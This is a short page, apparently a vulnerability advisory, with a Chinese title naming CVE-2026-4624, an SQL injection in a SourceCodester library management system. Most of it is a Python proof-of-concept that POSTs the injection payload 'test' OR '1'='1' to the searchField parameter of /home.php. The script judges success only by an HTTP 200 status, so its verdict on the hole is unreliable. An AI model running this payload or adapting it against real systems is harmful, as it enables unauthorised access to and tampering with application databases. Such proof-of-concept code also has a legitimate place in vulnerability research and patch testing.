CVE-2026-4624 SourceCodester图书馆管理系统SQL注入漏洞

import requests def verify_sqli(url): """ PoC for CVE-2026-4624 SQL Injection Target: /home.php parameter 'searchField' """ target_endpoint = f"{url}/home.php" # Basic SQL Injection payload to test for time-based or error-based response # Using a logical test that should always be true if injectable payload = { "searchField": "test' OR '1'='1" } try: response = requests.post(target_endpoint, data=payload, timeout=10) # Analyze response to detect vulnerability (Logic depends on app behavior) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if the response content differs from a normal search to confirm injection.") return True return False except requests.RequestException as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": target_ip = "http://127.0.0.1" verify_sqli(target_ip)